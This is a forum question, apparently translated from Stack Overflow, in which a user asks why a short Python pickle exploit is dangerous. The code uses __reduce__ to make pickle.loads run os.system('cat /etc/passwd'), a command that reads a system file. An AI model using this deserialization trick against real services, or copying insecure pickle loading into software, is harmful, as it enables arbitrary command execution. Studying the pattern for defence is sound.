【发布时间】:2016-07-11 13:00:13
【问题描述】:
我想了解python pickle 模块中的利用示例? 我从 github 获得了一个代码,它显示了 pickle 模块中的漏洞利用,但仍然无法理解它。请指导我。
import os
import pickle
class Exploit(object):
def __reduce__(self):
return (os.system, ('cat /etc/passwd',))
def serialize_exploit():
shellcode = pickle.dumps(Exploit())
return shellcode
def insecure_deserialize(exploit_code):
pickle.loads(exploit_code)
if __name__ == '__main__':
shellcode = serialize_exploit()
insecure_deserialize(shellcode)
【问题讨论】:
-
您不确定的到底是什么?结果或为什么会发生某件事?
-
@Torxed 不知道为什么它很危险
-
漏洞利用很危险,因为它是漏洞利用。任何类型的漏洞利用都是危险的,无论它真正做什么。因此我不愿意回答你的问题。你基本上回答了你自己的问题,问为什么一个漏洞利用是危险的;)
-
@Torxed 我只想解释上面的代码,为什么危险?